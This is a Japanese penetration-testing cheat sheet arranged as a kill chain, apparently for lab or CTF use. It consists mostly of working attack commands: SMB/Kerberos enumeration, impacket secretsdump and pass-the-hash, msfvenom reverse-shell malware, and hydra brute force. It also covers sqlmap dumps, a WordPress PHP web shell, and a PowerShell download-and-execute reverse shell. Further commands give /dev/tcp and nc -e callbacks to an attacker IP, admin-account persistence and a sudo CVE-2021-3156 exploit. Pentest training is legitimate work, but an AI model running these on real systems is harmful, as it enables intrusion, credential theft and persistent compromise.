ペネトレーションテスト チートシート

# ペネトレーションテストのフローについて
Unified kill chainの流れに従って実施します。このチートシートはその流れにできるだけ沿う形でセクションを設けています。

> [Cyber kill chain - Unified kill chain | - Wikipedia](https://en.wikipedia.org/wiki/Cyber_kill_chain#:~:text=%5B14%5D-,Unified%20kill%20chain,-%5Bedit%5D)


# Reconnaissance（偵察）

## ポートスキャン
確認する観点は以下の通り
* 空いているポートとサービス、プロトコル
* サービスの**バージョン**
* 匿名アクセスの可否

### netcat
データを何も送らずにパケットだけ送信してポート開放状況を確認する。Nmapに比べて情報量は少ないが簡易にできるため便利である。

|オプション|説明|
|---|---|
|`-z`|何もデータを送らない|
|`-v`|詳細を表示する|
|`-u`|UDP接続|
|`-w 1`|タイムアウトを1秒にする|

```shell
# TCP scan
nc -zv -w 1 <target IP> 1-65535

# UDP scan
nc -zvu -w 1 <target IP> 1-65535
```

### Nmap

:::note
本番環境などではターゲットとなるマシンに対するICMP通信はFWで拒否されていることが多いため -Pn オプションでpingによるホスト確認をスキップするほうが良いでしょう
:::

```shell
# Pingスキャンを行いホストを探索する（ポートスキャンは行われない）
nmap -sn <target CIDR>

# 端末のポートスキャン（バージョン確認）
nmap -sV <target IP>

# Pingに応答しないホストへの全ポートに対する高速スキャン
nmap -Pn -A -p- -T4 <target IP>

# FTPへの匿名ログインチェック
nmap -p21 --script ftp-anon <target IP>

# vsftpdのバックドア確認
nmap -p21 --script ftp-vsftpd-backdoor <target IP>

# NSEスクリプトのオプションを活用したスキャン
sudo nmap --script http-vuln-cve2017-5638.nse <target IP> --script-args path=/struts2-showcase/showcase.action -p 80
```

#### オプションの解説
|引数|説明|
|---|---|
|-sn|Ping応答によるホスト確認、ポートスキャンはスキップ|
|-Pn|pingによるホスト確認のスキップ|
|-sV|ポートのバージョン確認|
|-sS|TCP SYNスキャン|
|-ST|TCP Connect()スキャン|
|-sU|UDPスキャン|
|-n|逆引きDNSをしない|
|-F|高速スキャン（nmap-servicesファイルに記載があるものを対象とする）|
|-O|OS検出の有効化|
|-A|OS情報、ポートのバージョン情報も含めすべてスキャン|
|-p|ポートの指定, 「-p-」で全ポート指定|
|-sC / --script|NSEスクリプトの利用|
|-T|タイミングの指定（T0〜T5）|
|-iL|IPアドレスのリストを指定|
|-sC<br>--script|NSEスクリプトを指定、カテゴリ名かスクリプト名を指定する。<br>連結する場合は`,`で区切る|
|-oA|標準形式+grep検索可能形式+XMLの3種類をファイルに出力する|
|-oG|grep検索可能形式でファイルに出力する|
|-oN|標準形式でファイルに出力する|
|-D RND:5|送信元IPアドレスをランダムな5種類に設定する。デコイスキャン|
|--disable-arp-ping|ARP pingを無効化する|
|-g|送信元ポート番号を指定する|

> * [Options Summary | Nmap Network Scanning](https://nmap.org/book/man-briefoptions.html)

#### NSEの種類
* NSE（Nmap Script Engine）を用いたスクリプト利用については、各スクリプトのマニュアルやヘルプを確認し引数を確認する
* `--script-args`を用いて引数を指定する。なお複数引数を設定する場合は`,`で区切る
* NSEの保存場所：`/usr/share/nmap/scripts/script.db`

|カテゴリ|意味|
|---|---|
|auth|認証資格情報の決定|
|broadcast|ブロードキャストによるホスト検出に使用されるスクリプトと検出されたホストは、残りのスキャンに自動的に追加できます|
|brute|資格情報を使用してブルートフォース攻撃を行い、それぞれのサービスにログインしようとするスクリプトを実行します|
|default|-sCオプションを使用して実行されるデフォルトのスクリプト|
|discovery|アクセシブルなサービスの評価|
|dos|これらのスクリプトは、サービスにサービス拒否の脆弱性がないかチェックするために使用され、サービスに害を及ぼすためあまり使用されません|
|exploit|このカテゴリのスクリプトは、スキャンされたポートの既知の脆弱性を悪用しようとします|
|external|さらに処理するために外部サービスを使用するスクリプト|
|fuzzer|これはスクリプトを使用して、さまざまなフィールドを送信することで脆弱性と予期しないパケット処理を識別しますが、これにはかなりの時間がかかる場合があります|
|intrusive|ターゲットシステムに悪影響を及ぼす可能性のある侵入スクリプト|
|malware|ターゲットシステムにマルウェアが感染しているかどうかを確認します|
|safe|侵入的かつ破壊的なアクセスを実行しない防御スクリプト|
|version|サービス検出の拡張機能|
|vuln|特定の脆弱性の特定|

> * [Nmap Scripting Engine (NSE) | Nmap Network Scanning](https://nmap.org/book/nse.html)  
> * [Chapter 9. Nmap Scripting Engine | Nmap Network Scanning](https://nmap.org/book/nse.html)

#### タイミング
`-T`オプションで指定するタイミングに関する詳細

|引数|説明|
|---|---|
|0|paranoid／IDS回避用のタイミングテンプレート|
|1|sneaky／IDS回避用のタイミングテンプレート|
|2|polite／スキャン処理速度を落として帯域幅とマシンのリソース消費量を抑える|
|3|normal／指定しなかった場合のデフォルト値|
|4|Aggressive／適度に高速で信頼性のネットワークがある想定でスキャン速度を向上させる|
|5|insane／非常に高速なネットワーク上にいるか、一部の精度を犠牲にしてスキャン速度を向上させる|

### Rustscan
nmapと比べると速い。  
最新バージョンでは「-a」でIPアドレスやIPレンジを指定し、「--」以降でNmapで使うオプションを指定することにより同じことをすることができる。

```shell
# バージョン確認（インストール状況確認の意味も含む）
rustscan --version

# ポート1～1024までのスキャン
rustscan -a <target IP> --range 1-1024 -- -sV -A -n

# Pingに応答しないホストへの全ポートに対するスキャン
# デフォルトで全ポートスキャンが行われる
rustscan -a <target IP> -- -Pn -A
```

## Web探索
調査する観点は以下の通り
* ディレクトリ構造
    - 開発者用コンテンツや管理用ポータルなどの有無を確認する
* 非公開コンテンツの有無
    - `robots.txt`
        - インデックス化を明示的に避けているコンテンツ
    - `favicon.ico`
        - [OWASP faviconDB](https://owasp.org/www-community/favicons_database)と照合しフレームワークをチェック
    - `sitemap.xml`
        - サイト構成の確認
* ウェブアプリケーションのバージョン
    - ツールによるチェック
    - ブラウザ経由での手動アクセスを通じたチェック
        - HTMLソースにおける記載、コメント
* ウェブアプリケーションの特性
    - 問い合わせを受け付けるシステムでは確認メールを送信することがあり、OSコマンドを経由したメール送信を行っている場合もある

### gobuster
ファイル探索を行う場合は`-x`で拡張子を指定する。おすすめの拡張子は`php, txt, html, db`である。また、`-b`で無視する応答コードを指定することも可能である。

:::note
個人的な経験から以下のリストファイルがおすすめ
* /usr/share/wordlists/dirb/big.txt
* /usr/share/wordlists/dirb/common.txt
:::

```shell
# ディレクトリ探索を行う場合
gobuster dir -u <URL> -w <ワードファイル> -t <スレッド数> -b <コンテンツなしと判断する応答コード（カンマ区切り）>

# ファイル探索を行う場合
gobuster dir -u <URL> -w <ワードファイル> -x <探索する拡張子> -t <スレッド数>
```

### feroxbuster
go言語で実装されているツールで個人的におすすめ。デフォルトで再帰探索があり、進捗状況など状況把握がしやすい作りかつページのリンク探索およびそこからの調査も可能。

```shell
# ディレクトリ探索
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数>

# ファイル探索
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数> -x <extensions>

# ファイル探索 + ページ内ファイル探索
feroxbuster -u <URL> -w <ワードファイル> -E -t <スレッド数> -x <extensions>

# ファイル探索 + ページ内リンク探索
feroxbuster -u <URL> -w <ワードファイル> -e -t <スレッド数> -x <extensions>

# ステータスコード 301, 404の出力を抑止する
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数> --filter-status 301, 404

# ステータスコード 200のみ出力させる
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数> --status-codes 200
```

> [ディレクトリスキャンツール「feroxbuster」のご紹介: NECセキュリティブログ | NEC](https://jpn.nec.com/cybersecurity/blog/220513/index.html)

### dirb
gobusterとは違いデフォルトで再帰的に探索される。

```shell
dirb <URL> <ワードファイル> -X <拡張子>
```

### WPScan
WordPressは有名なのでサポートしているツールが数多く存在してる。  
特化型ツールとして`WPScan`が存在しており、その他ではMetasploitのWordPressに関連したモジュールやcurlによる調査方法も存在する。

> [WPScan: WordPress Security Scanner](https://wpscan.com/)

```shell
# ユーザーの列挙
wpscan --url <target URL> --enumerate u

# xmlrpcを用いたブルートフォース
wpscan --password-attack xmlrpc -t 40 -U <username> -P /usr/share/wordlists/rockyou.txt --url <url>
```

もしkaliにプリインストールされているものがエラーで使えない場合はコンテナを用いてスキャンする。
```shell
sudo docker run -v /etc/hosts:/etc/hosts -it --rm wpscanteam/wpscan --url http://<target URL>/ --enumerate u
```

:::note
Hydraによるブルートフォースより簡単に実行できる。また、ログインフォームよりxmlrpcに対する試行のほうが速いためxmlrpcを選択したほうが良い
:::

#### enumerateオプション詳細

|フラグ|意味|
|--|--|
|vp|脆弱なプラグインのリストアップ|
|ap|すべてのプラグインのリストアップ|
|cb|configバックアップの探索|
|u|ユーザーIDの探索|

#### curlでの手動調査方法
```shell
# xmlrpc.phpを活用したRPCメソッドの取得
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' http://<target url>/xmlrpc.php
```

## サブドメイン列挙（Web）
gobusterのvhost、dnsでも実施できるが、以下のツールでも列挙可能である。

### ffuf

```shell
# -fc：レスポンスコード302を除外
# FUZZの部分にワードリストの単語がセットされ探索される
$ ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u <URL> -H "Host: FUZZ.URL" -fc 302
```


## POP3探索
クレデンシャルが判明している場合、メールサーバーへ侵入する。
```shell
telnet <IP> 110
USER <username>
PASS <password>

# メールリストの取得
LIST

# メールの詳細表示
retr <No>

# 切断
quit
```

> [pop3（110）ポートを使ったメールの受信方法](https://web.tku.ac.jp/~densan/local/mail/telnet/port-pop3/port-pop3.html)

## SMB探索
以下のポートが開いている場合に実施する
* 対象ポート
   - 139/tcp
   - 445/tcp
* 調査観点
   - 匿名ログインの有無
   - デフォルト以外のネット共有の有無

### 基本情報の情報列挙
```shell
# nmapを利用する場合
nmap -p <Port Num> --script smb-enum-*  <target IP>

# enum4linux-ngを利用する場合
enum4linux -a <IP>
enum4linux-ng.py <IP>
```

### 脆弱性有無確認
```shell
nmap -p <Port Num> --script smb-vuln-*  <target>
```

### 共有フォルダのリストアップ
crackmapexecはアクセス権限情報まで表示してくれるため便利

```shell
# ディレクトリレベルでの情報列挙
crackmapexec smb <IP> -u <username> -p "" --shares

# 再帰的にファイル情報まで列挙（出力は/tmpディレクトリ配下でJSON形式）
crackmapexec smb <IP> -u <username> -p "" --shares -M spider_plus

smbmap -u <username> -H <target IP>

smbclient -L <target IP>
```
### SIDユーザーの列挙
```shell
# ユーザー名は適当でOK、パスワードは不明なため -no-passオプションをつけること
python3 /<your install path>/impacket/examples/lookupsid.py <username>@<IP> -no-pass
```

### ログインおよびファイル列挙
```shell
# 該当ユーザーのパスワードが分かっている場合
smbclient //<target IP>/Path -U <username>

## パスワードが分からない場合（匿名ログイン試行）
smbclient //<target IP>/path -U <username> --no-pass

# ファイルダウンロード
get <filename>
```

## NFS探索
以下のポートが開いている場合に実施する
* 対象ポート
   - 111/tcp (Portmapper)
* 調査観点
   - 匿名ログインの有無
   - デフォルト以外のネット共有の有無

### 列挙
* nmapによる実施
    ```shell
    nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <target IP>
    ```
* 専用コマンドによる実施
    ```shell
    showmount -e <target IP>
    ```
* マウント
    ```shell
    # どちらか
    mount <target IP>/<Direcotry> /<mount point>
    sudo mount -t nfs <target IP>:/<Directory> /<mount point> -nolock
    ```

## kerberos探索
88/tcpが空いている場合、ユーザー名やパスワード、ブルートフォース可否の列挙が可能
```shell
#kerbruteを用いる場合
./kerbrute_linux_amd64 userenum --dc <DC IP> -d <Dmain Name> <username list>

# impacketを用いてユーザーのハッシュを取得
## ユーザー指定の場合
python3 /<your install path>/impacket/examples/GetNPUsers.py -dc-ip <IP> <Domain Name>/<username>
## ユーザー一覧ファイルを指定する場合
## !! ドメイン名はあらかじめ/etc/hostsでマッピングしておくこと
python3 /<your install path>/impacket/examples/GetNPUsers.py <Domain name>/ -no-pass -usersfile <user file>

# impacketを用いて各ユーザーの資格情報を取得
python3 /<your install path>/impacket/examples/secretsdump.py <domain>/<username>:<password>@<IP>

# evil-winrmを用いて侵入可能性をチェック
evil-winrm -i <target IP> -u <username> -p <password>
evil-winrm -i <target IP> -u <username> -H <NTLM hash>

# psexecを用いて侵入可能性をチェック
python3 /<your install path>/impacket/examples/psexec.py <domain>/<username>@<IP> -hashes <LM:NTLM>

# wmiexecを用いて侵入可能性をチェック
python3 /<your install path>/impacket/examples/wmiexec.py <domain>/<username>@<IP> -hashes <LM:NTLM>
```

## DNS探索

### ゾーン転送
`53/tcp`がオープンであればゾーン転送が可能かチェックする。

```shell
# 1. ドメイン名のチェック（TCPでの名前解決）
dig @<DNS Server IP> <DNS server IP> +tcp
nslookup -vc <DNS Server IP> <DNS server IP>

# 2. ゾーン転送のリクエスト
dig axfr <domain> @<DNS Server IP>

nslookup
    server <DNS Server IP>
    ls -d <domain>
```

### リバースDNS
ホスト名を列挙する手法。CIDRとDNSサーバーさえわかっていれば実施可能。

```shell
# -n：DNSサーバー
dnsrecon -r 192.168.1.0/24 -n 192.168.1.53
```

## SMTP探索
SMTP通信を活用して存在するユーザー一覧を取得する

```shell
msf> use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
msf auxiliary(scanner/smtp/smtp_enum) > set RHOSTS <target IP>
msf auxiliary(scanner/smtp/smtp_enum) > exploit

[*] 10.10.30.44:25        - 10.10.30.44:25 Banner: 220 polosmtp.home ESMTP Postfix (Ubuntu)
[+] 10.10.30.44:25        - 10.10.30.44:25 Users found: administrator
```

## SQL探索

```shell
msf > use auxiliary/admin/mysql/mysql_sql
```

## rsync探索
以下のように`873/tcp`が空いていれば探索可能
```shell
873/tcp   open  rsync       syn-ack ttl 61 (protocol version 31)
```

### 共有フォルダの列挙
```shell
# netcatを用いた場合
# 共有フォルダが列挙できないこともあるためrsyncコマンドも実施すること
$ nc -nv 10.10.214.189 873
(UNKNOWN) [10.10.214.189] 873 (rsync) open
@RSYNCD: 31.0

$ rsync -av --list-only rsync://<Target IP>
files           Necessary home interaction
```

### rsyncによるリモートからのデータコピー
```shell
$ rsync -av rsync://user@10.10.214.189/files ./rsync

# ユーザー名が不要な場合は以下を入力
$ rsync -av rsync://10.10.214.189/files ./rsync
```

# Weaponization
ネット上よりPoCコードを収集してカスタマイズするか自身でマルウェア開発を行う。

## PoCコードの収集
### SearchSploit
Exploitコードを探索する

```shell
# キーワードによるExploitコードの探索
searchsploit blogengine

# ローカルにPoCコードをコピーする
searchsploit -m <file name>
```

### Webサイトでの検索
* [Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers](https://www.exploit-db.com/)
* [nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware.](https://github.com/nomi-sec/PoC-in-GitHub)

## マルウェア開発
### msfvenom
Metasploit Frameworkの一つであるmsfvenomを用いてマルウェア開発を行う。

```shell
# 基本的な使い方
msfvenom -p <payload> -f <format> -o <path/filename> LHOST=<listen-IP> LPORT=<listen-port>

# リバースシェル接続を行うマルウェアの作成
msfvenom --payload windows/x64/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker Port> -f <format> -o <save file path>
```

#### オプション説明
|引数|説明|
|---|---|
|-p|ペイロードの指定|
|-f|フォーマット（ファイルタイプ）の指定|
|-e|エンコーディングの指定|
|-o|アウトプット先およびファイル名の指定|

ペイロードには種類があり、モジュール名にも分類がある。
|種類|モジュール命名規則|説明|
|--|--|--|
|ステージャー|shell/〜〜〜|ファイルを実行し段階を経て目的を実行する。メモリへのペイロード挿入をAMSIで検知されやすい|
|ステージレスペイロード|shell_|実行後即座にペイロードを実行。使いやすいが検知されやすい|

#### Windows系ペイロードのTips
|種類|意味|
|---|---|
|winnet|ログインユーザー権限で動くアプリ向けモジュール|
|winhttp|サービス等バックグラウンド動作での利用向けモジュール|

# Exploitation
## ブルートフォース
FTPの認証やSSH、HTTPの認証フォームなど各種認証系に対するブルートフォースを行うための手段としてHydraを用いる。

### hydra
```shell
# SSH
hydra -l <ユーザー名> -P <パスワードリスト> ssh://<target> -t 6

# SMB
hydra -l <ユーザー名> -P <パスワードリスト> <IP> smb

# HTTP
## Basic認証
hydra -l <ユーザー名> -P <パスワードリスト> <IP> http-get <path>

## 認証フォーム
### POST時のボディ部を参考にhttp-post-formの引数の中身を作成する
### 特にユーザー名、パスワードおよび失敗時の文章は入念に確認すること。
hydra -l <ユーザー名> -P <パスワードリスト> <target> http-post-form "<ログインフォームパス>:<フォームID名>=^USER^&<フォームPW名>=^PASS^:<失敗時の文言>"

### Example
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target IP> http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:Username or password invalid"

### WordPress login
hydra -t 45 -V -l admin -P /usr/share/wordlists/rockyou.txt "http-post-form://<target IP>/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.211.179%2Fwp-admin%2F&testcookie=1:incorrect."
```

#### オプション説明
|引数|説明|
|---|---|
|-l|ユーザー名の指定|
|-P|パスワードリストの指定|
|-t|スレッド数|
|-s|ポート番号の指定|
|http-post-form|httpフォームのPOSTに対する攻撃|
|htt-get|Basic認証に対する攻撃|

## SQL

### ログイン
```shell
# 手作業による実行
mysql -h <IP> -u <username> -p

# Metasploitによる実行
## DBダンプ
use auxiliary/scanner/mysql/mysql_schemadump

## ハッシュダンプ
use auxiliary/scanner/mysql/mysql_hashdump
```

### SQLインジェクション

#### 手作業
以下の各種サイトを参照すること

* [SQL Injection | HackTricks](https://book.hacktricks.xyz/jp/pentesting-web/sql-injection)
* [SQL Injection Cheat Sheet](https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/)
* [SQL injection cheat sheet | Web Security Academy](https://portswigger.net/web-security/sql-injection/cheat-sheet)
* [SQL Injection | pentestmonkey](https://pentestmonkey.net/category/cheat-sheet/sql-injection)

#### SQLmap
BurpSuiteと組み合わせ、POSTした際のヘッダー、ボディをエクスポートしたデータを流用しインジェクションを行う

```shell
# DMBSのユーザー名確認
## POST時のデータを外部データから参照する場合
sqlmap -r <HTTPリクエストデータファイル> -p <フィールド名> --current-user

## コマンドオプションで指定する場合
sqlmap -u "http://example.com/login.php" --data "username=admin"

# 接続しているDB名の表示
sqlmap -r post_request.txt -p blood_group --current-db

# データベースの一覧表示
sqlmap -r post_request.txt -p blood_group --dbs

# 指定したデータベースに含まれるテーブル一覧の表示
sqlmap -r post_request.txt -p blood_group -D blood --tables

# 指定したテーブルのカラム一覧の表示
 sqlmap -r post_request.txt -p blood_group -D blood -T flag --columns
 
# 指定したデータベースを出力する
sqlmap -r post_request.txt -p blood_group -D blood -T flag --dump
```

##### オプション説明
|引数|説明|
|---|---|
|-r|サンプルリクエストの指定|
|--data|POST時のbody部データを指定|
|-p|テストフィールドの名前を指定|
|--current-user|DB接続のユーザー表示|
|--current-db|現在のDB名表示|
|--dbs|データベース一覧の表示|
|-D|データベースの指定|
|-T|テーブルの指定|
|--tables|テーブル一覧の表示|
|--columns|カラム一覧の表示|
|--dump|データの出力|

> [Usage · sqlmapproject/sqlmap Wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage)

## Metasploit
Metasploitを用いたExploitを行う。

```shell
# CVE番号でのモジュール検索
search cve:<xxxx-xxxxx>

# exploitのキーワード検索
search type:exploit <keyword>

# モジュールの利用
use <module name>

# モジュールのオプション（パラメーター）確認、パラメーターセット
show options

# オプションの設定
set <option name> <value>

# ペイロードの詳細確認
show payloads

# ペイロードの指定
use <ペイロードモジュール名>

# Exploitの実行
## どちらか
run
run -z

# セッションのバックグラウンド化
## どちらか
background
Ctrl+Z
```

# persistence
リバースシェルのパラメーター作成は以下を参照すること。
* [Revese Shell Generator](https://www.revshells.com/)
* [鍵認証によるSSH接続を設定する - Qiita](https://qiita.com/sanyamarseille/items/a2d4940e113a02369156)

## リスナーの準備
:::note
rlwrap は指定されたコマンドを実行し、readlineの行編集、永続的な履歴、および補完を 提供するためにユーザー入力をインターセプトします。
:::

```shell
# リッスン開始
rlwrap nc -lvnp <port>

# オートコンプリート、矢印等を利用できるように
$ ^Z（Ctrl + Zでバックグラウンドへ移動させる）
$ stty raw -echo; fg
```

> [rlwrap(1) - Linux man page](https://linux.die.net/man/1/rlwrap)

## WordPress
### WebShell
1. テーマ設定画面を開く
    - `Appearance > Theme Editor > 404 Template`
2. リバースシェルコンテンツを設定する
    ```html
    <pre><?php system($_POST["cmd"]);?></pre>
    <form method="POST"><input autofocus type="text" name="cmd"></form>
    ```
3. `/wp-content/themes/twentytwentyone/404.php`へアクセスする

> [pentestmonkey/php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell)


### Metasploitを用いたリバースシェル接続
```shell
msf6 > search wp_admin
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 > set RHOSTS <target IP>
msf6 > set USERNAME <username>
msf6 > set password <password>
msf6 > set LHOST <local IP>
msf6 > run
```

## Windows
### ファイルダウンロード
```powershell
# コマンドプロンプト
curl http://<IP>:<Port>/<file> -o <path to save>

# Powershell
Invoke-WebRequest -uri http://<IP>:<Port>/<file> -outfile <path to save>
```

### msfvenomで作ったマルウェアの実行
```shell
# コマンドプロンプトで外部ファイルをダウンロード
powershell -c "Invoke-WebRequest -Uri '<URL>' -OutFile 'C:\Windows\Temp\evil.exe'"

# 他のターミナルで
msf> use exploit/multi/handler

# ダウンロード+実行
powershell iex (New-Object Net.WebClient).DownloadString('http://<your IP>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <your IP> -Port <your Port>
```

### Metasploitの持続化モジュール利用
```shell
msf6 exploit(multi/handler) > use exploit/windows/local/persistence
msf6 exploit(windows/local/persistence) > set LHOST <attacker IP>
msf6 exploit(windows/local/persistence) > set session 1
msf6 exploit(windows/local/persistence) > exploit
```

### アカウントの作成およびグループ追加
```shell
# アカウントの追加
net user <username> <password> /add

# ローカル管理者グループに追加
net localgroup administrators <username> /add
```

### タスクスケジューラの悪用
* `C:\Users`配下のタスクスケジュールに注目する
* 特権権限で動作するタスクスケジュールに注目する

```shell
sctasks /query /fo LIST /v
```

# Discovery

## 共通
### 隣接ホストの探索
#### Ping
```shell
# Bash
for i in {1..254}; do (ping -c 1 192.168.11.$i | grep "bytes from"); done

# cmd
# -wオプションはタイムアウト値（ミリ秒）を指定する
for /l %i in (1,1,254) do @ping -n 1 -w 100 192.168.22.%i | find "TTL="
```

#### ARP
ARPテーブルのチェック。
```shell
# kaliに入っているツール
sudo arp-scan -I eth0 --localnet

# Linux標準
ip neigh

# Windows標準
arp -a
```

## Linux
### ファイル探索
```shell
# Linuxでのファイル探索
find / -name "username" -or -name "password" 2>/dev/null
find / -name *secret* 2>/dev/null
```

###  LinPEAS
kaliにはデフォルトで入っている。リポジトリは以下の通り
> [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)

```shell
# 配送
scp /usr/share/peass/linpeas/linpeas.sh <target>:/save/to/path

# 標準出力＋色付きでファイルにも保存する
script -q -c '/usr/share/peass/linpeas/linpeas.sh' linpeas_out.txt
```

## Windows
### ファイル探索
```shell
dir /s *secret.txt
```

### システム関連探索
```shell
# ユーザー情報やグループ情報、特権情報を表示
whoami /all

# ローカルユーザーアカウントの一覧取得
net user
wmic USERACCOUNT Get Domain,Name,Sid

# システム情報の取得
systeminfo
wmic computersystem LIST full

# ファイル探索
## 現在のディレクトリの配下を再帰的に探索
dir /s *secret*
wmic DATAFILE where "drive='C:' AND Name like '%secret%'" GET Name,readable,size /VALUE

# 実行中のプロセス確認
tasklist /SVC

# 共有フォルダの列挙
net share
powershell -c "Get-WmiObject -classWin32_Share"

# マウント状況の確認
mountvol

# ネットワークドライブのマウント状況確認
## その後pushdを使う
 net view
```

### 構成ファイルの確認
Windows展開サービスを利用した無人インストール時にはプレーンテキストでパスワードが保存されている可能性がある。

- `C:\Unattend.xml`
- `C:\Windows\Panther\Unattend.xml`
- `C:\Windows\Panther\Unattend\Unattend.xml`
- `C:\Windows\system32\sysprep.inf`
- `C:\Windows\system32\sysprep\sysprep.xml`

以下が掲載されている場合のサンプルコード
```xml
<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>
```

### Powershellのヒストリー
```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

### WinPEAS
batファイル版も存在するが色が付かないなど、可視性が低いためexeファイルを利用する
```shell
# 配送
meterpreter> upload /usr/share/peass/winpeas/winPEASx64.exe

# 標準出力＋色付きでファイルにも保存する
winPEASx64.exe
```

> [Windows Privilege Escalation Awesome Scripts](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)

### Powerview
Windowsドメインのネットワーク状況を把握するためのPowerShellツール
> [PowerSploit/Recon at master · PowerShellMafia/PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)

```shell
# 配送
PS> Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1' -OutFile powerView.ps1

# 必要に応じて実行
# PS> powershell -ep bypass

# ドットソースによるロード
PS> . .\powerView.ps1

# ADユーザーの列挙
PS> Get-DomainUser

# ローカルグループの列挙
PS> Get-NetLocalGroup
```

### PowerUp
ミスコンフィグレーションに依存する権限昇格可能と推測される情報を表示する。
> [PowerSploit/Privesc at master · PowerShellMafia/PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)

```powershell
# 配送
PS> Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1' -OutFile powerUp.ps1

# 必要に応じて実行
# PS> powershell -ep bypass

# ドットソースによるロード
PS> . .\powerUp.ps1

# すべての観点でチェックする
PS> Invoke-AllChecks
```

# Privilege Escalation
以下のサイトを参考に実施する。

|サイト名|URL|
|---|---|
|GTFOBins|https://gtfobins.github.io/|
|LinPEAS|https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS|
|WinPEAS|https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS|
|SUID概要|https://kazmax.zpp.jp/linux_beginner/setuserid.html|

## Linux
### sudoの悪用
sudoで利用できるコマンド確認する。利用できるコマンドや引数を確認し、GTFOBinsにて悪用方法を調査する。
```shell
sudo -l
```

### 脆弱性の悪用
CVE-2021-3156を利用する。
* 対象
    - sudo バージョン 1.8.2 から 1.8.31p2
    - sudo バージョン 1.9.0 から 1.9.5p1

```shell
# 状況確認
$ sudo -V
Sudo バージョン 1.8.21p2
sudoers ポリシープラグイン  バージョン 1.8.21p2
sudoers ファイル文法バージョン 46
Sudoers I/O plugin version 1.8.21p2

# コード配送
$ wget http://<URL:Port>/exploit.c
$ wget http://<URL:Port>/shellcode.c
$ wget http://<URL:Port>/Makefile

# ビルドおよび実行
$ make
$ ./exploit
```

#### 参考情報
* 参考記事
    - [stong/CVE-2021-3156: PoC for CVE-2021-3156 (sudo heap overflow)](https://github.com/stong/CVE-2021-3156)
    - [sudoの脆弱性（CVE-2021-3156）に関する注意喚起 | JPCERT/CC ](https://www.jpcert.or.jp/at/2021/at210005.html)

### SUIDの悪用
SUID（Set User ID）は、ファイルに設定されたユーザの権限でファイルを認証なしで実行することができる機能。  
ファイルのオーナーに関する実行権限の部分が`x`ではなく`s`になっている。

:::note
sudoコマンドによる実行ではなく、単純にそのコマンド自体を実行している時はrootユーザー権限で実行されるという意味です。
たとえば、/bin/cpが結果として表示された場合、root権限のみ書き込み／読み込みが許可されていないファイルに対して、ファイル自体を上書きできてしまいます。
:::

探索方法
```shell
# 単純なパターン（どちらかを実行）
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# 詳細まで表示するパターン
find / -type f -perm -4000 -ls 2>/dev/null
```

（サンプル）findコマンドを用いたリバースシェル接続
```shell
# -execの後ろはreverseshell generatorなどで生成する
/tmp/find . -exec /bin/bash -p -i >& /dev/tcp/<attacker IP>/<attacker Port> 0>&1 \;
```

#### サンプル
systemctlコマンドにSUIDが付されている場合の権限昇格方法

権限昇格用のユニットファイル作成
```shell
echo '[Service]
Type=oneshot
ExecStart=/tmp/nc 192.168.11.210 9000 -e /bin/bash
[Install]
WantedBy=multi-user.target' > /tmp/nc.service
```

実行およびリバースシェル接続
```shell
/tmp/systemctl enable --now /tmp/nc.service
```

#### NFS経由
no_squashが無効化されている場合はrootユーザーで書き込み等が可能であるため悪用する
```shell
# 権限昇格用のELFをコピーする
cp ./bash /<mountpoint>

# 実行権限とSUID、所有者の設定
chmod +x /<mountpoint>/bash
chmod +s /<mountpoint>/bash
chown root /<mountpoint>/bash

# 内部ユーザーで実行して権限昇格
./bash
```

#### 参考情報
設定するためにはroot権限で以下の操作を実行する。

```shell
# パターン1
chmod u+s <ファイル名>

# パターン2
chmod 4xxx <ファイル名>
```

設定を解除するためには以下の操作を実行する。
```shell
chmod u-s <ファイル名>
```

### cronの悪用
cronの自動実行される上位権限で動作するスクリプトファイルを探索する。  
そのスクリプトファイルが任意のユーザー権限で書き込み可能であればリバースシェルなどの任意のコマンドを追記し、実行させることにより権限昇格が可能となる。

```shell
# cronサービスの動作状況を確認
systemctl status cron

# cronの設定状況の確認
## 現在のユーザーに関する設定
crontab -l

## システム全体に関する設定
cat /etc/crontab
cat /etc/anacrontab

### 各種ディレクトリ
ls -l /etc/cron.d/*
ls -l /etc/cron.daily/*
ls -l /etc/cron.hourly/*
ls -l /etc/cron.monthly/*
ls -l /etc/cron.weekly/*
```


### Polkitの悪用
